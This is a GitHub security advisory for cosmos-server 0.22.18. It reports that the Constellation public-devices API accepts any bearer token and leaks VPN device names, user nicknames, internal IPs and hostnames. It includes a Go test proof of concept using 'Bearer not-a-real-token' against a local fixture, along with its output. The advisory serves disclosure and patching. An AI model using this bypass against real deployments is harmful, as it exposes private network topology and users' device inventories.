GitHub Advisoryadvisory · Go
GHSA-5fqm-cc34-fcf5 Cosmos-Server's constellation public-devices endpoint accepts arbitrary bearer tokens
MEDIUM
Official page ↗
- Aliases
- CVE-2026-49447
- Ecosystem
- Go
- Packages
- github.com/azukaar/cosmos-server
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-287
- Reviewed
- 2026-07-28
Affected packages
• Go github.com/azukaar/cosmos-server: >= 0.22.18, < 0.22.19 → fixed in 0.22.19
Description
Summary
`GET /cosmos/api/constellation/public-devices` discloses Constellation device metadata to a requester that supplies any non-empty `Authorization` header. The handler strips the string `Bearer ` from the header but never validates the resulting token and never uses it in the database query.
This was confirmed locally by routing a request through the real `tokenMiddleware` with `Authorization: Bearer not-a-real-token`. The request returned public Constellation device metadata from a disposable fixture. A missing-header negative control returned `401 Unauthorized`, proving the bypass is specifically the acceptance of arbitrary bearer values.
Details
Source-to-sink path:
• `src/httpServer.go:690` registers `/api/constellation/public-devices` on the authenticated admin API router.
• `src/httpServer.go:815-817` applies `SecureAPI(..., public=false, ...)`, which runs `tokenMiddleware`.
• `src/httpServer.go:231-237` only treats `Authorization: Bearer cosmos_...` as a Cosmos API token for validation. Other bearer strings are not validated by the middleware and fall through to the handler.
• `src/constellation/api_devices_public.go:42-47` checks only that the `Authorization` header is present.
• `src/constellation/api_devices_public.go:49-50` strips `Bearer ` but does not verify the token or compare it with a device/API key.
• `src/constellation/api_devices_public.go:63-67` queries all non-blocked and non-invisible devices without including the stripped auth value in the filter.
• `src/constellation/api_devices_public.go:84-99` returns device names, user nicknames, cleaned VPN/internal IPs, role flags, public hostname, and port.
The handler does not call `utils.CheckPermissions`, `utils.CheckPermissionsOrSelf`, the Cosmos API-token permission check, or any Constellation-token validation before returning the data.
Default/common exposure evidence:
• The route is registered in the standard server setup (`src/httpServer.go:690`).
• Constellation is a documented product feature described as the VPN used to securely access applications remotely (`readme.md:49`).
• The default config ships Constellation disabled (`src/utils/utils.go:104-105`), so impact requires a deployment that enables the Constellation/VPN feature and has at least one non-blocked, non-invisible device.
• The root package identifies the product as `cosmos-server` version `0.22.18` (`package.json:1-2`).
• The Go module is `github.com/azukaar/cosmos-server` (`go.mod:0`).
False-positive screen:
• The PoC wraps the handler in the same `tokenMiddleware` used by `SecureAPI`, so it tests the deployed middleware behavior rather than directly calling the handler alone.
• A request with no `Authorization` header returns `401 Unauthorized`.
• A request with `Authorization: Bearer not-a-real-token` returns `200 OK` and device metadata.
• The fixture data is stored in a disposable embedded database under `t.TempDir()` and no external services are contacted.
• The route is not protected by handler-level `CheckPermissions`, and the arbitrary bearer value is not used by the database query.
Candidate score: 13/18. Reachability 1, attacker control 2, privilege required 2, sink impact 1, mitigation weakness 2, default exposure 1, safe PoC feasibility 2, static certainty 2, false-positive resistance 2. The lower score reflects that Constellation is disabled in the shipped default config, but it is a documented/common product feature.
Exploitability gate: confirmed for deployments with Constellation enabled and populated with devices. The reachable source, arbitrary-token bypass, data-disclosure impact, safe local reproduction, and affected-version evidence are present. Default exposure is feature-dependent rather than enabled in a fresh default config.
PoC
Clean-checkout maintainer recipe:
1. Check out commit `88de73dcca50172393a75de0e4dc3ab93622825c` or version `0.22.18`.
2. Create `src/zz_security_poc_test.go` with the following test.
3. Run `go test ./src -run TestAuditPublicDevicesAllowsArbitraryBearer -count=1 -v`.
4. Delete `src/zz_security_poc_test.go` after confirming.
```go
package main
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"github.com/azukaar/cosmos-server/src/constellation"
"github.com/azukaar/cosmos-server/src/utils"
)
func TestAuditPublicDevicesAllowsArbitraryBearer(t *testing.T) {
oldConfig := utils.MainConfig
oldBaseConfig := utils.BaseMainConfig
oldPush := utils.PushShieldMetrics
oldConfigFolder := utils.CONFIGFOLDER
defer func() {
utils.MainConfig = oldConfig
utils.BaseMainConfig = oldBaseConfig
utils.PushShieldMetrics = oldPush
utils.CONFIGFOLDER = oldConfigFolder
utils.CloseEmbeddedDB()
}()
utils.PushShieldMetrics = func(string) {}
utils.MainConfig = utils.DefaultConfig
utils.MainConfig.NewInstall = false
utils.MainConfig.HTTPConfig.Hostname = "example.test"
utils.BaseMainConfig = utils.MainConfig
tmp := t.TempDir()
utils.CONFIGFOLDER = tmp + "/"
utils.CloseEmbeddedDB()
c, closeDb, err := utils.GetEmbeddedCollection(utils.GetRootAppId(), "devices")
defer closeDb()
if err != nil {
t.Fatalf("embedded collection: %v", err)
}
_, err = c.InsertOne(nil, utils.ConstellationDevice{
Nickname: "victim-user",
DeviceName: "private-node",
IP: "10.8.0.42/24",
IsLighthouse: true,
PublicHostname: "vpn.example.test",
Port: "4242",
Blocked: false,
Invisible: false,
})
if err != nil {
t.Fatalf("insert device fixture: %v", err)
}
handler := tokenMiddleware(http.HandlerFunc(constellation.DevicePublicList))
noAuthReq := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
noAuthRec := httptest.NewRecorder()
handler.ServeHTTP(noAuthRec, noAuthReq)
if noAuthRec.Code != http.StatusUnauthorized {
t.Fatalf("missing Authorization status = %d body = %s", noAuthRec.Code, noAuthRec.Body.String())
}
req := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
req.Header.Set("Authorization", "Bearer not-a-real-token")
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("DevicePublicList status = %d body = %s", rec.Code, rec.Body.String())
}
var body struct {
Status string `json:"status"`
Data []struct {
Name string `json:"name"`
User string `json:"user"`
IP string `json:"ip"`
PublicHostname string `json:"publicHostname"`
} `json:"data"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatalf("response JSON: %v", err)
}
if body.Status != "OK" || len(body.Data) != 1 {
t.Fatalf("unexpected response body: %s", rec.Body.String())
}
if body.Data[0].Name != "private-node" || body.Data[0].User != "victim-user" || body.Data[0].IP != "10.8.0.42" || body.Data[0].PublicHostname != "vpn.example.test" {
t.Fatalf("unexpected device disclosure: %+v", body.Data[0])
}
}
```
Observed output in this environment:
```text
=== RUN TestAuditPublicDevicesAllowsArbitraryBearer
2026/05/24 15:18:09 NOTICE: [INFO] DevicePublicList: Fetching devices with API key
--- PASS: TestAuditPublicDevicesAllowsArbitraryBearer (0.00s)
PASS
ok github.com/azukaar/cosmos-server/src 0.057s
```
Control/negative case: the same test first sends the request without `Authorization` and expects `401 Unauthorized`. The subsequent `Authorization: Bearer not-a-real-token` request succeeds and returns the fixture, proving the bypass is not an intentionally unauthenticated endpoint but an unvalidated-header check.
Impact
An unauthenticated network attacker can enumerate Constellation device metadata from deployments that enable the Constellation/VPN feature and have visible devices. The response exposes device names, user nicknames, internal/VPN IP addresses, node roles such as lighthouse/relay/exit-node flags, public hostnames, and ports. This information can reveal private network topology and user/device inventory and can support targeted follo…
Related
Alias · CVE (1)
- CVE-2026-49447 Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. vulnerability
Weakness · CWE (1)
- CWE-287 Improper Authentication weakness